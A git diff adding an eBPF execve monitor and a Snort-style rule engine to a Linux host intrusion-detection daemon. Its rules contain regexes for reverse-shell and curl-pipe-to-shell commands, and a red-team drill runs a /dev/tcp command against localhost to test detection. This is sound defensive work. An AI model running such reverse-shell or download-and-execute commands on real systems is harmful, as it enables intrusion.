diff --git a/README.md b/README.md index 0b154be..58d6517 100644 --- a/README.md +++ b/README.md @@ -32,6 +32,35 @@ EDRs are built on: | `persistence` | Changes to cron, systemd units, `authorized_keys`, rc files | Persistence has to write somewhere that survives reboot | | `egress` | An interpreter with an established connection to a public IP | C2 beacons and exfil have to phone home | +Every detection carries a stable **`sid`** and a **`classtype`** (à la +Snort/Suricata), so it can be referenced, tuned, and tracked across revisions. + +## Event-driven detection (eBPF + a Snort-style rule engine) + +Polling has a blind spot: a process that runs and exits between two sweeps is +invisible to it. The event layer closes that gap. An eBPF probe (loaded with +`bcc`) fires on every `execve` and hands each event to a **declarative rule +engine** — the host-event analogue of Snort matching packets: + +```toml +# a rule is data, not code — sid, msg, classtype, severity + conditions +sid = 100002 +msg = "Reverse-shell command pattern in execve arguments" +severity = "CRITICAL" +classtype = "c2-reverse-shell" +argv_regex = "/dev/(tcp|udp)/| -i\\b| -e\\b| pty\\.spawn" +``` + +Shipped rules cover fileless execution from world-writable dirs (`sid 100001`), +reverse-shell argv patterns (`100002`), web/DB services spawning a shell — +webshell/RCE (`100003`), and `curl|sh`-style ingress tool transfer (`100004`). +Operators add their own via `exec_rules_file` without touching code. + +The layer is **fail-safe**: if `bcc`/root/BTF aren't available it logs the +reason and the daemon runs poll-only — a broken probe can never take detection +down. Lineage: the rule-driven engine + SIDs come from **Snort**; the host-IDS +framing (and the queued FIM / hidden-process checks) from **OSSEC**. + ## Architecture ``` @@ -42,11 +71,22 @@ enodia_sentinel/ ├── snapshot.py forensic text+JSON capture · response guidance · retention ├── config.py dataclass config (TOML + env overrides) ├── netutil.py public-IP / CIDR logic (stdlib ipaddress) -├── alert.py Alert / Severity -└── detectors/ one module per signature, each a pure function: - detect(state, cfg) -> Iterable[Alert] +├── alert.py Alert / Severity (with Snort-style sid + classtype) +├── detectors/ poll detectors — one module per signature, each a pure +│ function: detect(state, cfg) -> Iterable[Alert] +└── events/ event-driven layer (eBPF) + ├── bcc_source.py real eBPF execve probe loaded via bcc + ├── exec_event.py the ExecEvent type + ├── rules.py Snort-style ExecRule engine + default rules + └── monitor.py runs the probe on a thread, routes events → rules ``` +Two complementary detection paths feed one Alert → snapshot pipeline: + +- **Poll** — every few seconds, sweep `/proc`/`ss` (catches anything lingering). +- **Event** — eBPF fires on every `execve`, matched against the rule engine + (catches processes that exit *between* sweeps). + The loop is deliberately the same control flow as the bash prototype, but the state lives in real objects: @@ -161,28 +201,48 @@ writable path, `ProtectHome=read-only`, `NoNewPrivileges`, (`CAP_SYS_PTRACE`, `CAP_DAC_READ_SEARCH`). It only ever **reads** the system and **writes** to its own log directory. -## Roadmap — from polling to eBPF +## Enabling the eBPF monitor -This is **poll-based**: it sweeps `/proc` and `ss` every few seconds. Robust, -dependency-light, and catches anything that lingers — but it can miss sub-second -processes. The planned evolution: +The event layer needs `python-bpfcc` and privileges the hardened unit +deliberately withholds (bcc JIT-compiles its programs, so it needs write+exec +memory and `CAP_BPF`/`CAP_PERFMON`/`CAP_SYS_ADMIN`). Under the default unit the +monitor simply fails closed and the daemon runs poll-only. To turn it on: -1. **bpftrace tracepoints (now, optional)** — `capture_execve_bpftrace = true` - adds a live `execve` trace to each snapshot. The gentle on-ramp to kernel - tracing. -2. **Event-driven detection** — `bpftrace`/BCC probes on `sys_enter_execve`, - `security_bprm_check`, and `tcp_connect`, streamed to the daemon so a - short-lived reverse shell can't slip between sweeps. -3. **A libbpf + CO-RE agent (Go or Rust userland)** — the production EDR core: - LSM hooks, ring-buffer event streaming, per-process lineage, tamper - resistance. +```bash +sudo pacman -S python-bpfcc +sudo install -Dm644 systemd/enodia-sentinel-ebpf.conf \ + /etc/systemd/system/enodia-sentinel.service.d/ebpf.conf +sudo systemctl daemon-reload && sudo systemctl restart enodia-sentinel +# confirm: grep 'eBPF exec monitor' /var/log/enodia-sentinel/events.log +``` -The polling daemon isn't throwaway — it's the **oracle**: every signature here -is a test case the eBPF agent must reproduce, and `sentinel-redteam` is the -shared regression suite. +The drop-in relaxes `MemoryDenyWriteExecute` and widens the capability set — a +conscious tradeoff documented in the file itself. + +## Roadmap + +1. **bpftrace tracepoints (optional)** — `capture_execve_bpftrace = true` adds a + live `execve` trace to each snapshot. +2. ✅ **Event-driven `execve` detection (done)** — a real eBPF probe via bcc, + feeding a Snort-style rule engine, so a short-lived process can't slip + between sweeps. +3. **More event sources** — `tcp_connect` (event-driven egress) and + `security_bprm_check` (LSM) probes, plus per-process lineage tracking. +4. **A libbpf + CO-RE agent (Go or Rust)** — the production EDR core: ring-buffer + event streaming, tamper resistance, no runtime compiler. + +The polling daemon isn't throwaway — it's the **oracle**: every signature is a +test case the event layer must reproduce, and `sentinel-redteam` is the shared +regression suite for both. ## Project status +v0.3 — adds the event-driven **eBPF layer**: a real `bcc` execve probe feeding a +Snort-style declarative rule engine (4 default rules), stable signature IDs + +classtypes on every detection, fail-safe degradation to poll-only, and an +opt-in hardening drop-in. Inspired by Snort (rule engine, SIDs) and OSSEC (HIDS +framing; FIM + hidden-process checks are next). + v0.2 — Python re-architecture of the bash prototype: 7 detectors, text+JSON forensic snapshots, backgrounded SUID scanning, 25-test unit suite, red-team harness, hardened systemd unit, Arch packaging. Zero runtime dependencies. diff --git a/config/enodia-sentinel.toml b/config/enodia-sentinel.toml index 9793255..aab5544 100644 --- a/config/enodia-sentinel.toml +++ b/config/enodia-sentinel.toml @@ -47,7 +47,15 @@ watch_persistence = [ "/root/.ssh/authorized_keys", "/root/.bashrc", "/root/.profile", ] -# --- eBPF on-ramp -------------------------------------------------------- +# --- eBPF event layer ---------------------------------------------------- +# Event-driven execve monitor: catches short-lived processes the poll loop +# misses, matched against the Snort-style rule engine. Requires python-bpfcc +# and root; degrades gracefully to polling otherwise. +ebpf_exec_monitor = true +# Optional path to a TOML file of extra [[exec_rules]] (sid/msg/severity/ +# classtype + path_prefixes/exec_comm/parent_comm/argv_regex). +exec_rules_file = "" + # Add a 3s bpftrace execve trace to each snapshot (requires the bpftrace pkg). capture_execve_bpftrace = false diff --git a/enodia_sentinel/__init__.py b/enodia_sentinel/__init__.py index 001d9ff..e81c859 100644 --- a/enodia_sentinel/__init__.py +++ b/enodia_sentinel/__init__.py @@ -6,4 +6,4 @@ captures a forensic snapshot with incident-response guidance whenever a known attack signature appears. The Python re-architecture of the bash v0 prototype. """ -__version__ = "0.2.0" +__version__ = "0.3.0" diff --git a/enodia_sentinel/alert.py b/enodia_sentinel/alert.py index f478247..516830f 100644 --- a/enodia_sentinel/alert.py +++ b/enodia_sentinel/alert.py @@ -29,11 +29,18 @@ class Alert: key: str detail: str pids: tuple[int, ...] = field(default_factory=tuple) + # Snort-style metadata: a stable signature id and a category. Every + # detection in Enodia has an `sid` so it can be referenced, tuned, and + # tracked across revisions the way a Snort/Suricata rule is. + sid: int = 0 + classtype: str = "uncategorized" def to_dict(self) -> dict: return { + "sid": self.sid, "severity": str(self.severity), "signature": self.signature, + "classtype": self.classtype, "key": self.key, "detail": self.detail, "pids": list(self.pids), diff --git a/enodia_sentinel/config.py b/enodia_sentinel/config.py index 55479ef..06f8236 100644 --- a/enodia_sentinel/config.py +++ b/enodia_sentinel/config.py @@ -58,6 +58,10 @@ class Config: # eBPF on-ramp capture_execve_bpftrace: bool = False + # Event-driven eBPF execve monitor (catches short-lived processes the poll + # loop misses). Degrades gracefully to polling if bcc/root/BTF unavailable. + ebpf_exec_monitor: bool = True + exec_rules_file: str = "" # optional extra Snort-style rules (TOML) # retention max_snapshots: int = 300 diff --git a/enodia_sentinel/daemon.py b/enodia_sentinel/daemon.py index 639629c..46ad6c4 100644 --- a/enodia_sentinel/daemon.py +++ b/enodia_sentinel/daemon.py @@ -23,6 +23,10 @@ class Sentinel: self.cfg = cfg self.start_time = time.time() self.cooldowns: dict[str, float] = {} + # Cooldowns are touched by both the sweep loop and the eBPF event + # thread, so guard them. + self._cooldown_lock = threading.Lock() + self._exec_monitor = None self.last_persist_scan = self.start_time self.listener_baseline: set[str] = set() self.suid_baseline: set[str] = set() @@ -99,15 +103,24 @@ class Sentinel: return alerts def fresh_alerts(self, alerts: list[Alert], now: float) -> list[Alert]: - """Drop alerts whose dedup key is still within cooldown.""" + """Drop alerts whose dedup key is still within cooldown (thread-safe).""" out = [] - for a in alerts: - prev = self.cooldowns.get(a.key, 0.0) - if (now - prev) >= self.cfg.cooldown: - self.cooldowns[a.key] = now - out.append(a) + with self._cooldown_lock: + for a in alerts: + prev = self.cooldowns.get(a.key, 0.0) + if (now - prev) >= self.cfg.cooldown: + self.cooldowns[a.key] = now + out.append(a) return out + def _on_exec_alert(self, alert: Alert) -> None: + """Callback for the eBPF exec monitor — same dedup + capture path.""" + fresh = self.fresh_alerts([alert], time.time()) + if fresh: + threading.Thread( + target=self._capture, args=(fresh,), daemon=True + ).start() + # -- main loop --------------------------------------------------------- def run(self) -> None: self.cfg.log_dir.mkdir(parents=True, exist_ok=True) @@ -115,6 +128,7 @@ class Sentinel: fh.write(f"{time.strftime('%FT%T%z')} enodia-sentinel started\n") self.build_baselines() snapshot.prune(self.cfg) + self._start_exec_monitor() sweeps = 0 while not self._stop.is_set(): now = time.time() @@ -134,6 +148,18 @@ class Sentinel: snapshot.prune(self.cfg) self._stop.wait(self.cfg.sample_interval) + def _start_exec_monitor(self) -> None: + if not self.cfg.ebpf_exec_monitor: + return + from .events.monitor import ExecMonitor + self._exec_monitor = ExecMonitor(self.cfg, self._on_exec_alert) + ok, reason = self._exec_monitor.start() + with open(self.cfg.events_log, "a") as fh: + status = "enabled" if ok else f"disabled ({reason})" + fh.write(f"{time.strftime('%FT%T%z')} eBPF exec monitor: {status}\n") + if not ok: + self._exec_monitor = None + def _capture(self, alerts: list[Alert]) -> None: try: snapshot.capture(alerts, SystemState(), self.cfg) @@ -143,3 +169,5 @@ class Sentinel: def stop(self, *_a) -> None: self._stop.set() + if self._exec_monitor is not None: + self._exec_monitor.stop() diff --git a/enodia_sentinel/detectors/deleted_exe.py b/enodia_sentinel/detectors/deleted_exe.py index 4c75b19..966e5bd 100644 --- a/enodia_sentinel/detectors/deleted_exe.py +++ b/enodia_sentinel/detectors/deleted_exe.py @@ -37,4 +37,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]: key=f"del:{proc.pid}", detail=f"pid={proc.pid} comm={proc.comm} exe=[{exe}]", pids=(proc.pid,), + sid=100012, + classtype="fileless-execution", ) diff --git a/enodia_sentinel/detectors/egress.py b/enodia_sentinel/detectors/egress.py index 1b52b35..9bb508c 100644 --- a/enodia_sentinel/detectors/egress.py +++ b/enodia_sentinel/detectors/egress.py @@ -33,4 +33,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]: "(interpreter to public IP)" ), pids=(s.pid,) if s.pid else (), + sid=100016, + classtype="c2-exfil", ) diff --git a/enodia_sentinel/detectors/ld_preload.py b/enodia_sentinel/detectors/ld_preload.py index 39abb71..c044a5f 100644 --- a/enodia_sentinel/detectors/ld_preload.py +++ b/enodia_sentinel/detectors/ld_preload.py @@ -31,6 +31,8 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]: signature="ld_preload", key="ldp:global", detail=f"/etc/ld.so.preload is non-empty: [{contents.replace(chr(10), ' ')}]", + sid=100011, + classtype="rootkit-preload", ) for proc in state.processes: @@ -44,4 +46,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]: key=f"ldp:{proc.pid}", detail=f"pid={proc.pid} comm={proc.comm} LD_PRELOAD=[{pre}]", pids=(proc.pid,), + sid=100011, + classtype="rootkit-preload", ) diff --git a/enodia_sentinel/detectors/new_listener.py b/enodia_sentinel/detectors/new_listener.py index 6a767ed..b1b6a63 100644 --- a/enodia_sentinel/detectors/new_listener.py +++ b/enodia_sentinel/detectors/new_listener.py @@ -31,4 +31,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]: key=f"lis:{key}", detail=f"new listening socket {s.local} by comm={comm}", pids=(s.pid,) if s.pid else (), + sid=100013, + classtype="backdoor-listener", ) diff --git a/enodia_sentinel/detectors/new_suid.py b/enodia_sentinel/detectors/new_suid.py index 85ec0e6..33ac09b 100644 --- a/enodia_sentinel/detectors/new_suid.py +++ b/enodia_sentinel/detectors/new_suid.py @@ -33,4 +33,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]: ("SUID/SGID binary in writable dir: " if hot else "new SUID/SGID binary: ") + path ), + sid=100014, + classtype="privilege-escalation", ) diff --git a/enodia_sentinel/detectors/persistence.py b/enodia_sentinel/detectors/persistence.py index 2d904f3..839fdf7 100644 --- a/enodia_sentinel/detectors/persistence.py +++ b/enodia_sentinel/detectors/persistence.py @@ -40,4 +40,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]: signature="persistence", key=f"persist:{path}", detail=f"persistence file modified: {path}", + sid=100015, + classtype="persistence", ) diff --git a/enodia_sentinel/detectors/reverse_shell.py b/enodia_sentinel/detectors/reverse_shell.py index 3253f8b..93bc0d1 100644 --- a/enodia_sentinel/detectors/reverse_shell.py +++ b/enodia_sentinel/detectors/reverse_shell.py @@ -35,4 +35,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]: f"peer=[{peer}] cmd=[{proc.cmdline[:90]}]" ), pids=(proc.pid,), + sid=100010, + classtype="c2-reverse-shell", ) diff --git a/enodia_sentinel/events/__init__.py b/enodia_sentinel/events/__init__.py new file mode 100644 index 0000000..8d448e2 --- /dev/null +++ b/enodia_sentinel/events/__init__.py @@ -0,0 +1,9 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +"""Event-driven detection layer. + +Where the poll-based detectors sweep system state every few seconds, this layer +reacts to kernel events the instant they happen — so a process that executes and +exits between two sweeps (fileless droppers, short-lived reverse shells) is still +caught. Events come from eBPF (``bcc``) and are matched against a declarative, +Snort-style rule set. +""" diff --git a/enodia_sentinel/events/bcc_source.py b/enodia_sentinel/events/bcc_source.py new file mode 100644 index 0000000..830a9ee --- /dev/null +++ b/enodia_sentinel/events/bcc_source.py @@ -0,0 +1,139 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +"""eBPF execve event source, built on bcc. + +Loads a small eBPF program that fires on every ``execve``, capturing the +executed path, the first couple of arguments, the uid, and the parent. Events +are delivered to user space over a perf buffer and decoded into ``ExecEvent``. + +This is intentionally fail-safe: if bcc isn't installed, the kernel lacks BPF, +or we aren't root, ``available()`` returns False and the daemon simply runs with +its poll-based detectors. A broken probe must never take the daemon down. +""" +from __future__ import annotations + +import os +from collections.abc import Callable + +from .exec_event import ExecEvent + +# eBPF C. bcc rewrites pointer dereferences (e.g. task->real_parent->tgid) into +# bpf_probe_read calls, so this stays close to bcc's own execsnoop example. +_BPF_PROGRAM = r""" +#include +#include + +#define ARGLEN 160 + +struct data_t { + u32 pid; + u32 ppid; + u32 uid; + char parent_comm[TASK_COMM_LEN]; + char filename[ARGLEN]; + char arg1[ARGLEN]; + char arg2[ARGLEN]; +}; +BPF_PERF_OUTPUT(events); + +int syscall__execve(struct pt_regs *ctx, + const char __user *filename, + const char __user *const __user *__argv, + const char __user *const __user *__envp) +{ + struct data_t data = {}; + struct task_struct *task = (struct task_struct *)bpf_get_current_task(); + + data.pid = bpf_get_current_pid_tgid() >> 32; + data.ppid = task->real_parent->tgid; + data.uid = bpf_get_current_uid_gid() & 0xffffffff; + bpf_get_current_comm(&data.parent_comm, sizeof(data.parent_comm)); + bpf_probe_read_user_str(&data.filename, sizeof(data.filename), filename); + + const char __user *argp = NULL; + bpf_probe_read_user(&argp, sizeof(argp), &__argv[1]); + if (argp) + bpf_probe_read_user_str(&data.arg1, sizeof(data.arg1), argp); + argp = NULL; + bpf_probe_read_user(&argp, sizeof(argp), &__argv[2]); + if (argp) + bpf_probe_read_user_str(&data.arg2, sizeof(data.arg2), argp); + + events.perf_submit(ctx, &data, sizeof(data)); + return 0; +} +""" + + +def available() -> tuple[bool, str]: + """Return (ok, reason). ok=True means the probe can be loaded.""" + if os.geteuid() != 0: + return False, "not running as root (BPF requires CAP_BPF/root)" + try: + import bcc # noqa: F401 + except ImportError: + return False, "python bcc (python-bpfcc) not installed" + if not os.path.exists("/sys/kernel/btf/vmlinux") and not os.path.isdir( + "/lib/modules/%s/build" % os.uname().release + ): + return False, "no kernel BTF or headers for BPF compilation" + return True, "ok" + + +class BccExecSource: + """Loads the eBPF probe and pumps decoded ExecEvents to a callback.""" + + def __init__(self, on_event: Callable[[ExecEvent], None]) -> None: + self._on_event = on_event + self._bpf = None + self._running = False + + def start(self) -> None: + from bcc import BPF + + self._bpf = BPF(text=_BPF_PROGRAM) + fnname = self._bpf.get_syscall_fnname("execve") + self._bpf.attach_kprobe(event=fnname, fn_name="syscall__execve") + self._bpf["events"].open_perf_buffer(self._handle, page_cnt=64) + self._running = True + + def poll(self, timeout_ms: int = 200) -> None: + if self._bpf is not None: + self._bpf.perf_buffer_poll(timeout=timeout_ms) + + def stop(self) -> None: + self._running = False + if self._bpf is not None: + try: + self._bpf.cleanup() + except Exception: + pass + self._bpf = None + + @property + def running(self) -> bool: + return self._running + + def _handle(self, cpu, data, size) -> None: + event = self._bpf["events"].event(data) + argv = tuple( + a for a in (_decode(event.arg1), _decode(event.arg2)) if a + ) + ev = ExecEvent( + pid=event.pid, + ppid=event.ppid, + uid=event.uid, + parent_comm=_decode(event.parent_comm), + filename=_decode(event.filename), + argv=argv, + ) + try: + self._on_event(ev) + except Exception: + # one bad event must not kill the poll loop + pass + + +def _decode(raw) -> str: + if isinstance(raw, bytes): + return raw.split(b"\x00", 1)[0].decode("utf-8", "replace") + return str(raw) diff --git a/enodia_sentinel/events/exec_event.py b/enodia_sentinel/events/exec_event.py new file mode 100644 index 0000000..3faa444 --- /dev/null +++ b/enodia_sentinel/events/exec_event.py @@ -0,0 +1,43 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +"""The execve event — one process-execution observed by the kernel probe.""" +from __future__ import annotations + +import os +from dataclasses import dataclass, field + + +@dataclass(frozen=True) +class ExecEvent: + """A single ``execve``, as seen at the moment of execution. + + Captured by the eBPF probe (so it exists even for processes that exit before + a poll). ``parent_comm`` is the caller; ``filename`` is the program being + executed; ``argv`` is as much of the argument vector as the probe captured. + """ + + pid: int + ppid: int + uid: int + parent_comm: str + filename: str + argv: tuple[str, ...] = field(default_factory=tuple) + + @property + def exec_comm(self) -> str: + """Basename of the executed program (its post-exec ``comm``).""" + return os.path.basename(self.filename) + + @property + def argv_str(self) -> str: + """Full command line for regex matching (filename + captured args).""" + return " ".join((self.filename, *self.argv)).strip() + + def to_dict(self) -> dict: + return { + "pid": self.pid, + "ppid": self.ppid, + "uid": self.uid, + "parent_comm": self.parent_comm, + "filename": self.filename, + "argv": list(self.argv), + } diff --git a/enodia_sentinel/events/monitor.py b/enodia_sentinel/events/monitor.py new file mode 100644 index 0000000..3b4bb02 --- /dev/null +++ b/enodia_sentinel/events/monitor.py @@ -0,0 +1,55 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +"""Runs the eBPF exec source on a thread and routes events through the engine.""" +from __future__ import annotations + +import threading +from collections.abc import Callable + +from ..alert import Alert +from ..config import Config +from . import bcc_source +from .exec_event import ExecEvent +from .rules import ExecRuleEngine + + +class ExecMonitor: + """Owns the event source + rule engine; emits Alerts via ``on_alert``. + + ``start()`` is best-effort: it returns a (started, reason) pair and never + raises, so the daemon can log the reason and carry on with polling. + """ + + def __init__(self, cfg: Config, on_alert: Callable[[Alert], None]) -> None: + self.cfg = cfg + self._on_alert = on_alert + self.engine = ExecRuleEngine.load(cfg.exec_rules_file) + self._source = bcc_source.BccExecSource(self._on_event) + self._thread: threading.Thread | None = None + self._stop = threading.Event() + + def start(self) -> tuple[bool, str]: + ok, reason = bcc_source.available() + if not ok: + return False, reason + try: + self._source.start() + except Exception as exc: # compilation/attach/permission failure + return False, f"probe load failed: {exc!r}" + self._thread = threading.Thread(target=self._run, daemon=True) + self._thread.start() + return True, "ok" + + def _run(self) -> None: + while not self._stop.is_set(): + try: + self._source.poll(timeout_ms=200) + except Exception: + break + + def _on_event(self, ev: ExecEvent) -> None: + for alert in self.engine.match(ev): + self._on_alert(alert) + + def stop(self) -> None: + self._stop.set() + self._source.stop() diff --git a/enodia_sentinel/events/rules.py b/enodia_sentinel/events/rules.py new file mode 100644 index 0000000..978eeee --- /dev/null +++ b/enodia_sentinel/events/rules.py @@ -0,0 +1,177 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +"""A declarative, Snort-style rule engine for execve events. + +Detection logic lives in *data*, not code. Each ``ExecRule`` is the host-event +analogue of a Snort rule: a stable ``sid``, a human ``msg``, a ``classtype`` and +``severity``, plus match conditions on the executed path, the program, the +parent process, and the argument vector. The engine just walks the rules. + +A rule fires when **every condition it specifies** matches (AND); unspecified +conditions are wildcards. A rule with no conditions is rejected at load time so +it can't match everything by accident. + +Default rules ship below; operators can add more via a TOML file +(``[[exec_rules]]`` tables) referenced by ``exec_rules_file`` in the config. +""" +from __future__ import annotations + +import re +import tomllib +from collections.abc import Iterable, Iterator +from dataclasses import dataclass, field +from pathlib import Path + +from ..alert import Alert, Severity +from .exec_event import ExecEvent + +_SEVERITY = { + "MEDIUM": Severity.MEDIUM, + "HIGH": Severity.HIGH, + "CRITICAL": Severity.CRITICAL, +} + + +@dataclass(frozen=True) +class ExecRule: + sid: int + msg: str + severity: Severity + classtype: str + # Conditions (all that are set must match): + path_prefixes: tuple[str, ...] = () # filename startswith any + exec_comm: frozenset[str] = frozenset() # basename(filename) in set + parent_comm: frozenset[str] = frozenset() # caller comm in set + argv_regex: str | None = None # re.search over argv_str + parent_exclude: frozenset[str] = frozenset() # never fire for these parents + + def __post_init__(self) -> None: + if not any((self.path_prefixes, self.exec_comm, + self.parent_comm, self.argv_regex)): + raise ValueError(f"rule sid={self.sid} has no match conditions") + if self.argv_regex is not None: + # compile once; store on the frozen instance via object.__setattr__ + object.__setattr__(self, "_argv_re", re.compile(self.argv_regex, + re.IGNORECASE)) + else: + object.__setattr__(self, "_argv_re", None) + + def matches(self, ev: ExecEvent) -> bool: + if ev.parent_comm in self.parent_exclude: + return False + if self.path_prefixes and not ev.filename.startswith(self.path_prefixes): + return False + if self.exec_comm and ev.exec_comm not in self.exec_comm: + return False + if self.parent_comm and ev.parent_comm not in self.parent_comm: + return False + if self._argv_re is not None and not self._argv_re.search(ev.argv_str): + return False + return True + + def to_alert(self, ev: ExecEvent) -> Alert: + return Alert( + severity=self.severity, + signature=f"exec_rule.{self.classtype}", + key=f"exec:{self.sid}:{ev.pid}", + detail=( + f"sid={self.sid} {self.msg} — pid={ev.pid} ppid={ev.ppid} " + f"parent={ev.parent_comm} exec={ev.filename} " + f"argv=[{ev.argv_str[:120]}]" + ), + pids=(ev.pid,), + sid=self.sid, + classtype=self.classtype, + ) + + +# --- shipped default rules ------------------------------------------------- +# SIDs 100001–100999 are reserved for Enodia's built-in exec rules. + +_INTERP = frozenset( + "sh bash dash zsh ksh ash python python2 python3 perl ruby php lua " + "nc ncat netcat socat".split() +) +_WEB_DB_SERVERS = frozenset( + "nginx apache apache2 httpd php-fpm php php7 php8 lighttpd caddy " + "node nodejs tomcat catalina mysqld mariadbd postgres redis-server".split() +) + +DEFAULT_EXEC_RULES: tuple[ExecRule, ...] = ( + ExecRule( + sid=100001, + msg="Program executed from a world-writable directory", + severity=Severity.CRITICAL, + classtype="fileless-execution", + path_prefixes=("/tmp/", "/dev/shm/", "/var/tmp/"), + ), + ExecRule( + sid=100002, + msg="Reverse-shell command pattern in execve arguments", + severity=Severity.CRITICAL, + classtype="c2-reverse-shell", + argv_regex=( + r"/dev/(tcp|udp)/" + r"|\b(ba|da|z)?sh\b[^|]*\s-i\b" + r"|\bn(c|cat|etcat)\b.*\s-e\b" + r"|\bsocat\b.*\bexec" + r"|python[0-9.]*\b.*(pty\.spawn|socket\.socket)" + r"|perl\b.*\bSocket\b" + ), + ), + ExecRule( + sid=100003, + msg="Web/DB service spawned a shell or interpreter (possible RCE/webshell)", + severity=Severity.CRITICAL, + classtype="web-rce", + parent_comm=_WEB_DB_SERVERS, + exec_comm=_INTERP, + ), + ExecRule( + sid=100004, + msg="Download piped directly to a shell (ingress tool transfer)", + severity=Severity.HIGH, + classtype="ingress-tool-transfer", + argv_regex=r"\b(curl|wget|fetch)\b.*\|\s*(ba|da|z)?sh\b", + ), +) + + +class ExecRuleEngine: + """Holds a rule set and matches events against it.""" + + def __init__(self, rules: Iterable[ExecRule] | None = None) -> None: + self.rules: list[ExecRule] = list( + rules if rules is not None else DEFAULT_EXEC_RULES + ) + + def match(self, ev: ExecEvent) -> Iterator[Alert]: + for rule in self.rules: + if rule.matches(ev): + yield rule.to_alert(ev) + + @classmethod + def load(cls, path: str | Path | None) -> "ExecRuleEngine": + rules = list(DEFAULT_EXEC_RULES) + if path and Path(path).is_file(): + rules.extend(_load_toml_rules(Path(path))) + return cls(rules) + + +def _load_toml_rules(path: Path) -> list[ExecRule]: + with open(path, "rb") as fh: + data = tomllib.load(fh) + out: list[ExecRule] = [] + for r in data.get("exec_rules", []): + out.append(ExecRule( + sid=int(r["sid"]), + msg=r.get("msg", ""), + severity=_SEVERITY.get(str(r.get("severity", "HIGH")).upper(), + Severity.HIGH), + classtype=r.get("classtype", "uncategorized"), + path_prefixes=tuple(r.get("path_prefixes", ())), + exec_comm=frozenset(r.get("exec_comm", ())), + parent_comm=frozenset(r.get("parent_comm", ())), + argv_regex=r.get("argv_regex"), + parent_exclude=frozenset(r.get("parent_exclude", ())), + )) + return out diff --git a/enodia_sentinel/snapshot.py b/enodia_sentinel/snapshot.py index 35b80c5..625340e 100644 --- a/enodia_sentinel/snapshot.py +++ b/enodia_sentinel/snapshot.py @@ -61,6 +61,20 @@ RESPONSES: dict[str, str] = { } +_EXEC_RESPONSE = ( + "An eBPF rule matched a process execution as it happened (caught even if the " + "process has since exited). RESPONSE: review the parent process and the full " + "command line, correlate with the captured sockets, and pivot on the parent " + "if it's a network-facing service." +) + + +def _response_for(signature: str) -> str: + if signature.startswith("exec_rule."): + return _EXEC_RESPONSE + return RESPONSES.get(signature, "Review the captured context manually.") + + def _run(cmd: list[str], timeout: int = 8) -> str: try: res = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) @@ -105,12 +119,13 @@ def _format_text(report: dict, extras: dict[str, str]) -> str: L.append("") L.append("## Triggering detections") for a in report["alerts"]: - L.append(f" [{a['severity']}] {a['signature']} — {a['detail']}") + L.append(f" [{a['severity']}] sid:{a.get('sid', 0)} " + f"{a['signature']} ({a.get('classtype', '?')}) — {a['detail']}") L.append("") L.append("## Response guidance") for sig in dict.fromkeys(a["signature"] for a in report["alerts"]): L.append(f" • {sig}:") - L.append(f" {RESPONSES.get(sig, 'Review the captured context manually.')}") + L.append(f" {_response_for(sig)}") L.append("") L.append("## Flagged process detail") if report["processes"]: diff --git a/packaging/PKGBUILD b/packaging/PKGBUILD index e0e0e4f..a763e37 100644 --- a/packaging/PKGBUILD +++ b/packaging/PKGBUILD @@ -1,13 +1,14 @@ # Maintainer: Enodia pkgname=enodia-sentinel -pkgver=0.2.0 +pkgver=0.3.0 pkgrel=1 pkgdesc="Host intrusion-detection daemon — signature-based detection of reverse shells, LD_PRELOAD rootkits, fileless malware, and persistence tampering" arch=('any') url="https://github.com/Enodia/enodia-sentinel" license=('GPL-3.0-or-later') depends=('python>=3.11' 'iproute2' 'procps-ng') -optdepends=('bpftrace: execve tracing of short-lived processes in snapshots' +optdepends=('python-bpfcc: eBPF event-driven execve monitor (catches short-lived processes)' + 'bpftrace: execve tracing of short-lived processes in snapshots' 'libnotify: desktop notifications on alert') backup=('etc/enodia-sentinel.toml') source=() diff --git a/pyproject.toml b/pyproject.toml index 808abab..26750cd 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta" [project] name = "enodia-sentinel" -version = "0.2.0" +version = "0.3.0" description = "Host intrusion-detection daemon — signature-based detection of reverse shells, LD_PRELOAD rootkits, fileless malware, and persistence tampering" readme = "README.md" requires-python = ">=3.11" diff --git a/src/sentinel-redteam b/src/sentinel-redteam index eef2f30..6c33128 100755 --- a/src/sentinel-redteam +++ b/src/sentinel-redteam @@ -110,6 +110,18 @@ drill_persistence() { echo " -> wrote $SANDBOX/authorized_keys" } +drill_ebpf_exec() { + note ebpf_exec "short-lived /tmp exec + reverse-shell-pattern argv (only the eBPF monitor catches these)" + cp /bin/true "$TMP/enodia-drill-exec" 2>/dev/null + "$TMP/enodia-drill-exec" # runs and exits in <1ms — the poll loop can't see it (sid 100001) + # argv carries a /dev/tcp pattern -> sid 100002 (connects to discard:9, harmless) + ( exec -a enodia-drill-revsh bash -c 'cat < /dev/tcp/127.0.0.1/9 2>/dev/null; true' ) & + PIDS+=("$!") + echo " -> fired a short-lived /tmp exec (sid 100001) and a /dev/tcp argv (sid 100002)" + echo " NOTE: needs the eBPF monitor (run the service as root). With polling only" + echo " these vanish between sweeps — which is exactly what the eBPF layer fixes." +} + run() { case "$1" in reverse_shell) drill_reverse_shell ;; @@ -118,11 +130,12 @@ run() { new_listener) drill_new_listener ;; new_suid) drill_new_suid ;; persistence) drill_persistence ;; + ebpf_exec) drill_ebpf_exec ;; *) echo "unknown drill: $1" >&2; return 1 ;; esac } -ALL=(reverse_shell ld_preload deleted_exe new_listener new_suid persistence) +ALL=(reverse_shell ld_preload deleted_exe new_listener new_suid persistence ebpf_exec) if [ "${1:-}" = "--list" ]; then printf '%s\n' "${ALL[@]}"; exit 0; fi @@ -135,11 +148,14 @@ echo "######################################################################" if [ "$#" -gt 0 ]; then targets=("$@"); else targets=("${ALL[@]}"); fi for d in "${targets[@]}"; do 